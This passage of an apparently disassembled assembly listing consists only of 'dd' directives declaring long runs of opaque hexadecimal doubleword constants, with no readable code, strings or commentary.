6A2F7600h, 35AF94FDh, 1E7514E7h dd 4217DC09h, 0E508404Ch, 0A086558h, 78BD18DDh, 29B44537h dd 1CC063E4h, 7FCE737h, 2967CC5Fh, 22C5A7Ch, 1A1EF5Eh dd 0C310462h, 0C88A3E4h, 4E35189h, 2C83400Ch, 0E6590A67h dd 350B875h, 910EDEEFh, 5A2B4012h, 6532BC47h, 1559E8D6h dd 78F0AE19h, 68582B0Ah, 0EFA61058h, 90DFA1DEh, 0E9C8EFB9h dd 89CA475h, 0EC84DBC7h, 0CC90712Eh, 6E8DF6EAh, 0C71E5805h dd 0F27FE330h, 0C8396E9h, 64C2B57Bh, 5DE4E448h, 0E485D726h dd 2AA93100h, 28A2B17Ah, 3C0C3DDDh, 0F7276EB2h, 0CF878CA1h dd 9CE20079h, 693B3A2Eh, 0C67FF14h, 0B922EC5Ch, 0C660397Eh dd 4A3FDCB1h, 645C53EBh, 0A92040A2h, 552F7A3Ah, 0BC028C6Eh dd 0B80412F8h, 0E81322CDh, 30A5FB9Ch, 431973F7h, 0F8A6377Fh dd 31E02951h, 0EE5C21E8h, 45455910h, 0BA408CB8h, 293DC1EFh dd 918C7693h, 0A0E446F6h, 0EC44711Ah, 327C9975h, 6E106398h dd 4858502Fh, 68826042h, 7A7F7BD9h, 535E4B88h, 351F8876h dd 50A6ED44h, 425C59CDh, 594429Ch, 6DC37F7Ch, 0C50EC8Bh dd 5C588965h, 99D16F80h, 0D20A850Ch, 595274B4h, 68FC04EBh dd 288E653h, 195E4A42h, 8CF482B2h, 17A52191h, 4F401664h dd 99D816D3h, 70284248h, 80735E25h, 0C994676h, 8C8B1314h dd 1A9D4409h, 4FC40C9Fh, 3FE702Ah, 0C8A87048h, 4680A1B6h dd 0C8C99FCh, 8C936328h, 0AA9C5349h, 0A1518F7Ah, 7BB1920Dh dd 8581A07Ch, 0EB996A82h, 293C722Eh, 2CD8DFA6h, 0F7924374h dd 0C8506157h, 0B97D5472h, 0B5FF6919h, 0A84D6D51h, 0C21981BEh dd 4CB479F8h, 21D564D8h, 0A9E5B258h, 442C354Ch, 0E8E76B3Ah dd 0C8B497DFh, 42043320h, 7C829F4h, 691B7881h, 799127F2h dd 482F74C1h, 0DF18A7CCh, 31181839h, 28C7725Ah, 11C482CDh dd 17C9B549h, 5CD083D3h, 8EC68EE4h, 76B878DEh, 687B9323h dd 823CA3E8h, 8A036998h, 3BD8AA3Ch, 67B2FF3Ch, 0D7203C99h dd 40CD5F8Ah, 85F2A110h, 8F3EBD25h, 1B538332h, 5EF1B5h dd 0DB023F21h, 6D0150F7h, 184BEF30h, 5ACE547h, 9A3AB419h dd 89B0F4B7h, 91A5D201h, 0FABB880Ch, 0CD038440h, 516860CBh dd 8A313970h, 9DBC6C00h, 14B6BFCAh, 36350162h, 0E45DF153h dd 0B202FEDAh, 758FE080h, 8BD0000Ah, 1D1719C6h, 5AFECC33h dd 0E53F030Fh, 4BD400A8h, 389556Eh, 2B4FB9DAh, 280104A9h dd 2D902A96h, 34F5C3h, 6BA20103h, 683B181Eh, 10202A70h dd 0F35026h, 8F2210B1h, 38AC5DEBh, 6E204800h, 0CA3119EDh dd 0B492305Bh, 804CC631h, 771E6700h, 84DEE19Fh, 90D500B3h dd 0F83924BDh, 900BAE5h, 6D3EDA33h, 5B6965A5h, 4CF840FEh dd 2BB4BCE3h, 9087CB2Ah, 0AE14631Fh, 5073803Ah, 177C5D58h dd 6CE2000Eh, 94DB48F9h, 0AC3B6641h, 5CB27824h, 0C063A600h dd 8B77B909h, 391E000Eh, 0CAA2E345h, 0EC00CB18h, 0C58284E2h dd 338C9Dh, 2C461D8Eh, 95DD9F99h, 0D039E900h, 0C2F491D3h dd 0DBDE00C1h, 563D360Ch, 0E404756Ch, 500BD6C5h, 5C115D87h dd 0D0407D29h, 0FE27FD59h, 24A63045h, 477C1760h, 5D883800h dd 19B63579h, 0D4B90C2Eh, 3F80C2DEh, 2408BB60h, 11F4674h dd 3A9EC7B8h, 83A43B21h, 85BEC518h, 26B10034h, 0F42DC35Fh dd 9400FF54h, 3A930BBAh, 0B5A22Fh, 23F7DC0Dh, 4584D71Dh dd 6186601h, 0A421A024h, 6BA780EBh, 5416008Ah, 0C014558Bh dd 0E402235Ch, 0A875575Ah, 0F48819Fh, 7FCE81Dh, 3F8B192Eh dd 0C4EA19BDh, 0C9008FF2h, 0D8A87BBEh, 0C02084A3h, 732D6DA1h dd 100CD4Fh, 0FDF2E630h, 0B20F03h, 71BE5591h, 4A636AF8h dd 2F51CE63h, 0F441E826h, 428603D6h, 127E0997h, 0E074A0B1h dd 8E544C3Fh, 0AB30A7A8h, 0CD639D4h, 0B18C08Dh, 4A2CB6F7h dd 4E385703h, 2685AEh, 2DC6A391h, 74D73F3Ch, 0C2309860h dd 4E0CF1h, 0CC86EA7Ch, 630B2C14h, 559ECB0Fh, 51262059h dd 563094h, 4C4B01B0h, 13CFD1A6h, 0E195E303h, 0C0CBA070h dd 1E17AD56h, 0E78FA7h, 0D1AE21A3h, 94F4FAA4h, 4D0C14AEh dd 30A6D09Dh, 204A1FC8h, 4BA304AAh, 0A9FB01ADh, 0A7E09BC3h dd 61490018h, 12CDE34Eh, 3206C8A3h, 9FD5BA56h, 9D7819h dd 1544FBA7h, 14CDC89Eh, 0AF2880D9h, 0A507D1D3h, 7712820h dd 8E9F019Dh, 4CA3C3E7h, 0FACD5006h, 0A59C7A0h, 9E1FA101h dd 4E85420Ch, 0CCB384A0h, 0AB384C49h, 9D1494A4h, 9CFA0388h dd 78FA8C3h, 0B9D38529h, 2A2F3051h, 0DA3AB631h, 6B48622Eh dd 9987C1B0h, 318090F9h, 8AF5CC2Bh, 0EB394DF1h, 184F30C8h dd 70C9A534h, 0EAC60102h, 76CB918Ch, 79FAC4ABh, 5C903806h dd 7138894Bh, 181B00A9h, 81862F9Ah, 3848C094h, 0B0F203C6h dd 14B147h, 0F3DEE9C9h, 4C6C8183h, 0D1988CF1h, 40DFA933h dd 0B03AEB2Dh, 0AC830444h, 0D803533Eh, 0E02895F7h, 774418CEh dd 0AEF33214h, 99113068h, 0F3AC9BCh, 1884539Ah, 0EAAF2C03h dd 773144DCh, 8A762907h, 84EE8340h, 38067DACh, 95E21031h dd 595061B8h, 8C34B829h, 792B4C30h, 31F840CBh, 785D9718h dd 28BBC528h, 30C8D2D1h, 92418AC9h, 65034895h, 70F74CD6h dd 305CB79Ah, 86F83047h, 0C46B6951h, 0EACD5C14h, 0A39380F0h dd 0DF725759h, 0B9555830h, 2430B953h, 0C2AE68D4h, 4E893423h dd 0B8A40CE8h, 0CC142E41h, 30DC1329h, 1B7F17Dh, 318CFDBBh dd 77D96827h, 124C41E3h dd 94584098h, 46601181h, 0DAB8F91h, 2A3A37B5h, 336DC039h dd 666EC85Ch, 220B2930h, 85C42D50h, 5851D04Ch, 549375E8h dd 0BBC4D260h, 146C92B6h, 0A4240EC9h, 238678ACh, 0B8315648h dd 210B9D8Dh, 924708B0h, 112E4356h, 3483F8DEh, 0A171DA5Ch dd 28AF0F7Ch, 372275E4h, 114A1D35h, 648BC498h, 3F8FBF44h dd 88C23E38h, 0C8674791h, 0F1F22B7Eh, 66BF0878h, 0F850AF94h dd 8440425Ah, 0D744656Ch, 92103F8Eh, 8467A2F4h, 116ADF28h dd 0D889E8DEh, 160F3090h, 0F8226C9Ah, 0AA609124h, 0D131094Ch dd 6010C5B1h, 2934E605h, 8C826159h, 28510F8Eh, 3702345Bh dd 3E7F3DF6h, 187C64DAh, 78B6650Fh, 0F828EF8h, 3E38E01Ch dd 0A884BFB1h, 0A68CF808h, 0B6AC304Ch, 0F5E20561h, 4B449898h dd 69776799h, 0C2488A55h, 0B86189BAh, 5A1181B2h, 0A159AE23h dd 48D8E824h, 0A8D0DC4Bh, 2BD349D8h, 0CC6ED20Ah, 6280A0B5h dd 15A81713h, 12C800B2h, 9ED5A3FEh, 0A0B0EE4Dh, 0C2B14A00h dd 0FC9C549Fh, 45B800CDh, 0B013D3E9h, 0FD009DF4h, 2112D1A3h dd 19E1DA9h, 45CCAAAEh, 0D3CBF1FCh, 104B2930h, 0F8FBA3C3h dd 1A490717h, 0C012CBA7h, 0AECED19Eh, 3E05B03Ch, 5CC33D70h dd 1EC63C44h, 4B00A315h, 0E8CA0421h, 85F9CA8Eh, 3D6D704h dd 49C71269h, 0E8A0A772h, 1829D9FCh, 55421832h, 6E3C6822h dd 0EFC266Bh, 0CE0C00D4h, 982D68B0h, 2CBB310Ch, 17D21815h dd 46FEABh, 0A6803214h, 48C13378h, 0F95A91A9h, 202E030h dd 36416D22h, 80C8C75Ch, 623B38AFh, 1082A58Eh, 73F278h dd 0AFB6F505h, 48569137h, 132E0D25h, 8349D8C4h, 76A212A7h dd 14B49A85h, 54059A2h, 0B2CC5117h, 914A9090h, 1808DEA8h dd 1C8EF9A6h, 0D3803304h, 40376F1Eh, 0C29540CCh, 0C5818C47h dd 85421DB3h, 76330810h, 94A97090h, 7E571839h, 0E801E03Ch dd 0CD0280E8h, 0F66C83D4h, 20845295h, 800DED5h, 4F61E46Bh dd 0DD6D54EAh, 2CA41050h, 93414897h, 8C5C2D53h, 0FB0B1118h dd 0A81E671h, 3CC2BF9Bh, 0D0C81288h, 0D4CE5D90h, 49788805h dd 9C883355h, 542800D1h, 0E2570846h, 5132BF3Ah, 84788977h dd 1C823148h, 7C2C4EBCh, 5C649154h, 22496464h, 0E1476683h dd 56F4B75Ch, 8E7A59h, 0A901146Ah, 9EAE9FD5h, 4CA3C601h dd 0AFA11DA0h, 78CCCF44h, 1650B06Fh, 1FA7FAA2h, 39F10354h dd 0C2A25C42h, 2057870h, 5848B481h, 7B196030h, 0DE3B02A4h dd 0DFC9FB9Eh, 3F4B0498h, 10AC727Ch, 38E80881h, 11E532D8h dd 0F0749876h, 3278B3EFh, 0C21A9120h, 28B40528h, 0C844AC3Ah dd 42D40D4h, 0A6F218F1h, 21B86424h, 34204A7Dh, 598A10D9h dd 5110343Ch, 0DA199936h, 144D6609h, 80F10819h, 0D4700504h dd 848809DBh, 5AC19CB7h, 0C488BD4h, 8C1056F1h, 0FF05040h dd 960DFFEDh, 8F919088h, 91449222h, 394F41ECh, 9EE3224h dd 4CF824EDh, 0C8BA31B7h, 0B491B909h, 0B644B322h, 124089B5h dd 4F42243Fh, 392C8041h, 0CE403FFh, 38B95D3Ch, 2D657DC1h dd 842D77B8h, 7504A0A1h, 26504915h, 0AE003C5Ch, 65852B0Bh dd 75331D77h, 0C001FE51h, 8C957D50h, 902ECCEFh, 0D50BA70Eh dd 0B3075F91h, 0AB47CD8Eh, 2977C540h, 19D7C85h, 2CE61C33h dd 0E0242031h, 78C18CF8h, 0CD518EA5h, 4460C23h, 2CC9FEEFh dd 1C808859h, 0E9120142h, 0F167453Eh, 0E0384ACEh, 102148FAh dd 3314501h, 3FBA00Dh, 8092207h, 38A80D97h, 0AEFA040Bh dd 0A8C9F7B0h, 2B7CD300h, 8C935A22h, 2151616Ch, 4A32B856h dd 0CEDDB038h, 7209079Ah, 0FFF2DAD1h, 18789D86h, 0ADDF3200h dd 9F7D4505h, 2BC51B9Ah, 6D83931h, 2EF2AEF9h, 2CF60F14h dd 0D4228B28h, 0AAD2E1E4h, 410CD31Ah, 30400C55h, 3FCF8F3h dd 0DE7A413Dh, 12C0E807h, 760E30F1h, 0A8D1A1h, 14D3E30Eh dd 49CC0004h, 0ED95E421h, 1D00B020h, 0D2034D9Eh, 79CFDA4h dd 4E524917h, 0A37160E7h, 0A0EE3FC8h, 4C44FA01h, 0AE313DADh dd 7248E0D3h, 0C0D57E9Dh, 0FA9F0640h, 0E505C9B0h, 32C3AF14h dd 0C603405Fh, 0C0AE19A0h, 0F1A8EEDh, 0AA4AA6CBh, 94C03014h dd 0C7B212EDh, 1C5C4929h, 0A771EA02h, 374E0018h, 9D0215A2h dd 0FE13A3C6h, 8F60A5D1h, 0A785EC2Ah, 0A440FAC6h, 0C8E460DFh dd 51FB2BD5h, 0F8A31718h, 0DF0680A4h, 24FBE809h, 5830C7CCh dd 0D100A316h, 79E14CDh, 0A028EE4h, 0B262E8A1h, 896838h dd 0EC0254D6h, 0B30A14A4h, 1463A61Dh, 32E040E8h, 2B569h dd 0C3B2B7D6h, 0A0A571D4h, 0F821A328h, 0D920A805h, 2AFEDD3Ah dd 300EAB8h, 105B3FA6h, 12E042E3h, 8C00E97Ch, 99FA0A3h dd 4C49C89Eh, 0D61E3416h, 0BF00E64Ah, 8D01C7BCh, 220F94A3h dd 9840E2B5h, 9B01C3AAh, 0CEA1EA3Ch, 803E9C20h, 89A09EF0h dd 11511A07h, 584629Fh, 6C4020C9h, 7EA41902h, 12EC9016h dd 30C3B520h, 3E03B74h, 1C2E91D6h, 0ABDD12BBh, 14A83000h dd 123FF49Dh, 0AB1DAD1Fh, 90A3982Ch, 0BAAE0558h, 83FD45C6h dd 0FEC1E854h, 9ED030D0h, 0E6D13Ch, 4AA71DA5h, 0B099C8EEh dd 9CF40FB8h, 1201B156h, 0D101B208h, 8C40E24Dh, 1D0745B9h dd 0C29C15CEh, 7083FC65h, 0FCC0F4CDh, 58F11A8Bh, 0A807E0A5h dd 85FB9ED5h, 0EE8780C9h, 0EBF945CBh, 9C7C5874h, 0AAAF490Ch dd 33F140CCh, 1608A2FEh, 3BEEC83Eh, 0CBA719A3h, 897FB230h dd 0A9A08994h, 0D09F55C7h, 41F8A97Fh, 0E1B01FA1h, 0D47612h dd 0AD06A002h, 0B1214CF4h, 0F5E70060h, 0D1A67247h, 0A0221209h dd 55B83AC6h, 0F8AFB0C7h, 74C3FE5Ch, 0FA7759Eh, 17F11549h dd 0A33030BFh, 7CB0A9FBh, 70A9AF4Ah, 0CED5589h, 5BDD607Fh dd 0C4B217B0h, 4CA6F104h, 0DC84C2A9h, 1312E4D8h, 22C30472h dd 0E0D20Ch, 4B58A1FAh, 78493ADCh, 4C781774h, 209F0134h dd 60A0C4D2h, 9AA37008h, 82B27C0Ch, 0F120E4B8h, 1958FA7Ah dd 0B42C05C0h, 20C0C8A9h, 9899C3B9h, 69D16010h, 0B3AFA3C9h dd 20B9D074h, 2CC7A78Ah, 0E63C435Ah, 0FA9F0988h, 3486C704h dd 20C058D9h, 0A112A318h, 376CB801h, 58002A0h, 811824D2h dd 7D4F9B50h, 2BBBE0Ch, 0A1E762D4h, 3C84D943h, 4A99FB08h dd 857C787Ah, 0A15DE218h, 10FBC8C0h, 1548FC0Ah, 9F77689Dh dd 0CD03C13Dh, 60ADFA99h, 12E14D8h, 9C0364C7h, 0E55849D0h dd 0F8CC1856h, 0F450A00Dh, 0E8FE77F3h, 0A32017EFh, 9F2004C3h dd 0F0D1BACCh, 443C06CFh, 0D5AA4B02h, 3C7915A3h, 8FD49827h dd 9ECB1E0Fh, 44FA80ADh, 0A1C2B221h, 0C8004A7Eh, 0D5A37240h dd 0B8A570CDh, 0FE500290h, 0A0AC10F5h, 0FCF12100h, 211A6049h dd 0A4C8D64Ch, 13AE6E3Ah, 50D42045h, 5118C8A7h, 0EDE76943h dd 5E0755Ch, 0C6AD57CDh, 37C0342Eh, 0C8B14AA3h, 34E850BEh dd 14A5055Fh, 1F90F79Eh, 503AD3ECh, 113CAFF0h, 0DAE9B46h dd 0F4A3E058h, 0A9563099h, 9DFCAD21h, 18042005h, 0C812199Eh dd 90E818EBh, 0E0B6A371h, 0C2419489h, 97381A80h, 0C003E710h dd 0E79D20CDh, 0D5F8CF74h, 0EE014DE8h, 0F17A4136h, 1C21A2EAh dd 0A9FEDC00h, 4AA600D5h, 0FA9ACAEEh, 0F1971DA3h, 0B88B25F8h dd 5132E0B9h, 21AEEDC4h, 3E8C1000h, 0F89C5211h, 0A719CE60h dd 75123618h, 0C7E888D8h, 0F49EDCA0h, 0A71FED15h, 7A53CACh dd 17B212F2h, 0F50482A9h, 1D808140h, 2FF84D9Fh, 0B06A5088h dd 0F071509Eh, 0A4580412h, 0A84FA3CAh, 4BE8C728h, 7C12C983h dd 0D5C8A808h, 0A658A49Fh dd 902C25DCh, 28C60A8h, 0F5E506A4h, 700FD4D1h, 16A661A1h dd 0F44D1DAEh, 0D2936429h, 20429FF0h, 0B17C3070h, 0A31A3E03h dd 0A7199C8h, 0AE7247E8h, 0B01509F0h, 58FF1845h, 0AF008D3Ah dd 9843B6F9h, 39D0782Fh, 4D030EF1h, 295B32CEh, 0D6F440D4h dd 6B5B72Bh, 0FD5A8A9Eh, 5C4B08EDh, 3EEAD4C0h, 0D88D002Ch dd 1CF30CB1h, 7E00C683h, 0D2D0079Eh, 4EA895B3h, 858AC3Ah dd 0CD5C70h, 98122501h, 78C01323h, 0FEA99C94h, 0D00506E7h dd 602D3399h, 9A4EB57Bh, 340014ACh, 0CE095174h, 0BD03934Ch dd 70F7B968h, 852102B3h, 5C415BAAh, 2010209Eh, 15C1CD90h dd 0EF06A9h, 59445117h, 300348C9h, 3AB7B6A5h, 2D5A0D88h dd 9E091066h, 0FE450121h, 0D4ED8AB7h, 80F880AFh, 511272B0h dd 24C854E6h, 3CB704B8h, 3258FD3Ah, 4F27A8h, 0ADDFC8B8h dd 0A91FC400h, 1055B6CBh, 7FD72A98h, 0B99F1C90h, 0AF818AD3h dd 213103A8h, 3490443Eh, 0A097BE91h, 0C42307C8h, 54CEA08Dh dd 66D61468h, 20DF1CCEh, 0F8D0C74Bh, 1F7D3C5h, 322A2F0Ch dd 0E91D0381h, 0F9A18041h, 87394ABCh, 2F2B1DCBh, 75B0C06Ah dd 4E6CE532h, 0EF58802h, 81E1E701h, 0AF913AA4h, 603FF2C8h dd 71B11198h, 128141FBh, 8E846C5Bh, 46736A8Ch, 8F4C0E0Bh dd 592E6CFFh, 8E660F10h, 0EDE2A5B5h, 0E175B379h, 21801780h dd 748E67E9h, 0B71258Bh, 61C42800h, 0C0787C38h, 9C2C48DBh dd 0D7C05C88h, 21B5B42Bh, 0E1988BA6h, 3FF121h, 64B7B42Ch dd 39A2E8D2h, 2A3BF800h, 718ED006h, 9C70015Ah, 8B1072AFh dd 0A045D61Ch, 76339B44h, 91A96903h, 0C04C6F8Dh, 29A08A86h dd 901C6C3Ah, 6A582741h, 0B94842Ch, 0E495CA71h, 114B088h dd 81F4F317h, 0EE02F907h, 32D00840h, 284AC75h, 0B5B92C38h dd 0E5198AEEh, 2C415410h, 8819DF1Ch, 5C209940h, 245E7117h dd 0F4140A7Ah, 1F8AB923h, 0D74004ABh, 0EE0C905Ah, 0BCFC6F1Dh dd 1D7CD09Dh, 188D38D1h, 460E214Ah, 0E38A6E0Fh, 7056ECA2h dd 9A12013Eh, 9ED7AF76h, 637030A5h, 0FDD0D8ABh, 970961BBh dd 212F70F9h, 359D857Ch, 44447C30h, 75F2C856h, 0D8ECFE51h dd 0A4982C81h, 79ABC918h, 242308D9h, 0F1749532h, 2038144Ah dd 2780AE3Bh, 205CAA52h, 883A3845h, 0DF95F910h, 7AC2A9C7h dd 0B8FDAB23h, 5014AD70h, 0ECCCC041h, 4363DF4h, 9C3CFCCBh dd 12F9B002h, 4D1040E7h, 15B519BEh, 183E802Ah, 626F6213h dd 40A40DFAh, 1C0C40F8h, 0E6066Fh, 0AEE85325h, 22755E8Eh dd 97C9BA18h, 1833CFF8h, 0E9834E58h, 26000D65h, 965B51F5h dd 3E541Ch, 0F7F91BD0h, 5C4C7711h, 80FCC84Bh, 506AAC80h dd 9CA0CC94h, 0C918CF6Dh, 4186B88h, 0A9D0C20Fh, 5C903F94h dd 63096F12h, 160EC2BCh, 1B0D0024h, 0A3D3DC6Fh, 5F824109h dd 3004CCCEh, 0C5044DFFh, 488CD0BEh, 470096D8h, 5360C489h dd 4BBA552h, 0CDBD018Fh, 0E0C4BF33h, 0F610483Ah, 8A7DC095h dd 9003865Dh, 476A095Ch, 907FA362h, 59D3B6B0h, 0BE04F031h dd 0C18370DEh, 22A880A0h, 30F6F21Ch, 0CE017B3Ah, 0DBD28833h dd 0B853A928h, 0F4CABAh, 5361ABC6h, 974B18C9h, 827F91D0h dd 752CCE30h, 0AC0A2446h, 940C881Ah, 0A202A71Dh, 0E5D095BFh dd 80B1EE70h, 0CD7DCED9h, 0C0F9DD47h, 0F233D538h, 9801AE7Ch dd 1869662Eh, 18203C74h, 0F85D480Ch, 5F73B402h, 8041E9CBh dd 0E1DBC478h, 0A94CCA14h, 49D8C6B8h, 47E0159h, 2D67C6E1h dd 6D4EF007h, 51768214h, 8F06783Ch, 89EDCC36h, 0C7AE0FE8h dd 9AC79FC6h, 0E5ABE15Ah, 0EEA44558h, 0EC39F286h, 0C11107E2h dd 0C04AA403h, 0D7BC1FF5h, 970710A2h, 0CA3EB0BBh, 0C44DC307h dd 0AFB60258h, 615BEEF9h, 0A23A8668h, 872862C8h, 2A046C4h dd 94EE2DB1h, 9493D7C0h, 32522D0h, 3BE12F00h, 93AAF3FFh dd 21CE00C1h, 12B0A1B4h, 0BB5C631Bh, 0FA4610D4h, 4141D818h dd 2A003F50h, 0F2F81CBCh, 3A03357h, 0E0366184h, 0A3E81048h dd 0AC919CB5h, 982F0D40h, 0B85160FAh, 572A4A4Dh, 0A3D2C91Eh dd 329234A4h, 303DA472h, 69116FA0h, 428C12BCh, 0E9001321h dd 63DB2C6Dh, 159A7C5h, 0C97A52E7h, 34A5C1BBh, 0BD106BC4h dd 6D3FCD3Fh, 7CE94Eh, 0D5E1F576h, 7E798Dh, 0CD75B43Fh dd 0B3C8D47Dh, 40B55D33h, 3DCC983Bh, 6AB8A080h, 0EB7628B0h dd 5DAE0190h, 0A81C33EFh, 96702406h, 0C8B55F01h, 4FF507CCh dd 44188C35h, 94A95844h, 0E8093189h, 0F9912017h, 3BE51980h dd 0A20B8454h, 0A02F71AFh, 0ADD078FCh, 55B0C686h, 8C00697Dh dd 0E1A3E0E8h, 0F2D7F6D1h, 52A80179h, 7355EA6Bh, 6F87FC89h dd 0C48E0ACh, 43E0E8D4h, 0DA4F0030h, 0A6E905A7h, 0FC6F0A5Ch dd 25001B5h, 0E097C43Ah, 1FCCC040h, 0F881BB02h, 27530F82h dd 0C303960h, 7537AC9h, 0C8262DA0h, 2CF51570h, 963AB1Bh dd 7C242A38h, 0DA6B4740h, 0D8A2B8C0h, 0C359006Ah, 0D69092F2h dd 0CB13E819h, 6C01C201h, 0A481ABBCh, 3306D440h, 78036114h dd 3ABBAFADh, 0FB268CE3h, 8675388Ch, 0A0137C90h, 8C625BA5h dd 0F2277Bh, 8BEB3D8Eh, 76B1D10Fh, 13C07B37h, 0AAAB8350h dd 6DE0E840h, 0C487Fh, 881EDD69h, 84BFBB3Eh, 0EFF5C18h dd 24857131h, 0C02867D2h, 8691B5AFh, 3C00F749h, 1DB1E2C8h dd 43304933h, 6F059E18h, 8CE2BC67h, 1101F48Bh, 0D8646DE7h dd 1BA7E05Ah, 26A8554Ch, 488BE480h, 982A8861h, 0FCE9B400h dd 4C54BA57h, 0EAC17C8Ch, 347B9433h, 78135754h, 4405A63h dd 76887F1Ch, 0ADA310C6h, 0A274A75Eh, 2A65CCCCh, 1FF8291Ch dd 0C07D8230h, 0EE07E9C9h, 36004B21h, 0D474D5CBh, 94D0A12h dd 0C5BB8190h, 2A69D082h, 5206DC45h, 513029h, 467BB85Eh dd 4BD6A458h, 2E93Ch, 7DF89DD1h, 9D48F03Ch, 0F0410D2h dd 4313D61Ch, 28CCB0C4h, 25D1094Bh, 0C4B2D383h, 4CFD1482h dd 398E6418h, 7546A513h, 0E5DEF88h, 5856718Eh, 82A90EC1h dd 0CD984140h, 2DDC5043h, 0C23EDD7Ah, 0EF098046h, 0CA7DF699h dd 649E05ACh, 812C6BC5h, 645784E8h, 0C005731Ch, 8D139556h dd 0F0068412h, 13583ED6h, 8CED5117h, 0B700B990h, 751F39F5h dd 74277353h, 64DA3F74h, 13B35780h, 844299D6h, 4856F100h dd 4E6627AAh, 318F01E6h, 0F28B6712h, 2A319FDFh, 66445F00h dd 281C8961h, 0F2C93FDAh, 0B9100003h, 0BB654BFDh, 0EF3E7649h dd 0C2F1806Bh, 29AFCAFBh, 3150C028h, 343B3006h, 0DC96560Bh dd 0D81DFF1h, 80C6EF4Ah, 25FC4569h, 0B73D73h, 0F627182Ah dd 2136E175h, 372BB200h, 10F4A89Ah, 0A7B8030Bh, 0F35DD790h dd 82F9DAC0h, 0C751D564h, 8EEC7040h, 35135674h, 78034B05h dd 0E89C36ADh, 60722907h, 0DBF62865h, 0C460BAF9h, 3E90D240h dd 5E58C116h, 83F656C2h, 0B648AC50h, 0A78006ADh, 30AA8BC9h dd 0FBF99300h, 0ABE14CB4h, 94CF18CDh, 0B6F5E844h, 802F6928h dd 3A119700h, 4572F4F9h, 3BC400E6h, 581C6630h, 98480603h dd 0CE9503E1h, 73AACCFh, 99B4C40h, 1039C6D7h, 965DB10Ch dd 1E289155h, 0C2EF6D3Dh, 76F0F589h, 0B41813EAh, 8715636Ch dd 1C88F2EFh, 9B890BD6h, 0DC0C3949h, 0B0C4E419h, 0F400D2F2h dd 0A184203h, 54A4C9DFh, 0AB0BB0BCh, 0E5E2B89Ch, 354200AFh dd 9849B9D2h, 35859BEh, 0DD67144Eh, 800E84A8h, 0C230FB07h dd 0BCA0682Ch, 9B15B844h, 0FF8AD62Eh, 854E30Ch, 2421C056h dd 42C41460h, 0CA601C7Fh dd 0AA7F1EA9h, 43EE9Dh, 0A0BA2D02h, 81397518h, 9029DC0Ch dd 7E44163h, 85FB62D3h, 0E8C5814Ah, 64188068h, 75B7CFC3h dd 0FE560469h, 527013h, 0FDE9D530h, 0FC4B004Eh, 6A73B86Dh dd 580CEE7Eh, 41147BA0h, 4F7D0090h, 0F0C4D00Dh, 946F9768h dd 8A217808h, 554F4865h, 51E8B900h, 39D727EAh, 0A7C7D314h dd 8A28508Ch, 188C7652h, 80E1C2F2h, 0C18200CCh, 9F121B8Bh dd 0FB09792Fh, 80206ED8h, 0FDD5871Dh, 0FAF40A71h, 0C0A86530h dd 0D69515B2h, 0BF349A21h, 0BA002644h, 752DF115h, 9056681Eh dd 0C565A014h, 18D49233h, 194884A6h, 224029CAh, 4868E2CFh dd 0BA842C44h, 900E33F0h, 43F7497Eh, 0D72274h, 12D616D0h dd 0C188911Eh, 1B421401h, 0C9543351h, 1076B022h, 1A97E37h dd 405811FBh, 904075FEh, 1E53CB5Ch, 404A890Bh, 22CC7971h dd 2124D6F5h, 0CD03A48Eh, 3F5BEC18h, 9C0383E9h, 0AC087DABh dd 0B3D3E8E0h, 57264892h, 1706A57Fh, 3DD042C8h, 6707F8F6h dd 3D6DC9Fh, 48055D04h, 397BE28Bh, 0B7C38001h, 9A40BBEAh dd 0CBC98F5h, 41AA8F60h, 0C3053021h, 0FF8614DBh, 46192038h dd 0D64704C7h, 210E38F9h, 0AC2010C9h, 9A31E3B0h, 0D9DBC404h dd 1894ED17h, 41CE9808h, 0FE2A5F52h, 0D2035465h, 0E478BE48h dd 636A9070h, 39DCBB56h, 4977080Fh, 44DBC4FFh, 6E0017CFh dd 46D6B7Fh, 3AF9E10Ch, 6F50C2h, 0A50F6C31h, 0D5C89874h dd 12113D13h, 0D00B4030h, 0A32092BDh, 20B055B8h, 0D7C8440Ah dd 11F4EDC0h, 348A391Ch, 420C9080h, 0C577C1E0h, 0C36590C1h dd 0C02413DFh, 281A01B0h, 0ECE71204h, 5A0C245Fh, 0AEDCDD02h dd 606A1B16h, 12870DAFh, 2FEF139Ah, 7C23F0h, 6CDA7202h dd 0A8056E3Eh, 0D7213AEEh, 0B5C56C00h, 1490AF0Bh, 0D4F51DEAh dd 5202C321h, 17E268Fh, 0D7A316A6h, 3A751800h, 0C360D2D5h dd 0F21D12B5h, 0D40C400Eh, 6F08A18Dh, 0AE22C006h, 3059EE40h dd 6C994A7Ch, 0EA02A888h, 0DE4766E9h, 31304891h, 0DC6948E7h dd 1E8CC2BCh, 846D4AA5h, 0C06C78CFh, 2EAF3598h, 0E1C3540Eh dd 0CBD89898h, 0ACF4403Bh, 737E6010h, 33D1DA09h, 90E3402Eh dd 0B0631C6Eh, 0CBE3F661h, 0A698E849h, 19C463F0h, 0BDA060DCh dd 9B009A80h, 0E310BB54h, 1B02834h, 0D6611CC6h, 0BBDAE7D1h dd 13C4C858h, 4138B51h, 0E03A8C1Eh, 1EEB0461h, 0CBBD0434h dd 82677417h, 0CC09340h, 1084FA23h, 4858AAE7h, 5FD81074h dd 4592713Dh, 28F0435Ah, 59055472h, 0DC7FD1DBh, 0AB966C03h dd 2065AAF4h, 0AD5DCE06h, 463BE00Eh, 4538A2C6h, 0D3F44032h dd 416641B9h, 0CEF8584h, 2E7DE409h, 70DC0F49h, 0D60F11B1h dd 0E0EFFCD2h, 190D81FEh, 4CEC50B7h, 593D00F8h, 8A8B4079h dd 0A098EDA4h, 0A6E71E00h, 5B64CDAh, 4D0D623h, 0C3A602Ch dd 0B12B61F6h, 9EE90314h, 0F7902E5Ch, 1A000EC6h, 283769B4h dd 17C0A83h, 6BF620CBh, 6371D3E3h, 0A7E715B0h, 23984CA4h dd 4F620183h, 186CD00Ah, 6A988B44h, 6F304D4Fh, 0F4E79151h dd 1BE0007Ah, 75CD3772h, 0D3243BA9h, 1582285Fh, 81AF1690h dd 0F21826BCh, 0C3004C72h, 0CBCA79B3h, 0CCE54DABh, 0F42CBDE6h dd 6A119812h, 9C15BF80h, 334282D6h, 148723C0h, 2F3DA132h dd 123B2206h, 128CF1D2h, 236C6E38h, 0CC3A38E0h, 0FC9FCB89h dd 14931C48h, 43201E18h, 6C68AE10h, 60C09017h, 15D1028Ch dd 3492D696h, 0B9250016h, 212DA615h, 90A80DD0h, 0D12CD7F1h dd 0A0434C51h, 0E2D91D4Bh, 17187027h, 454180BEh, 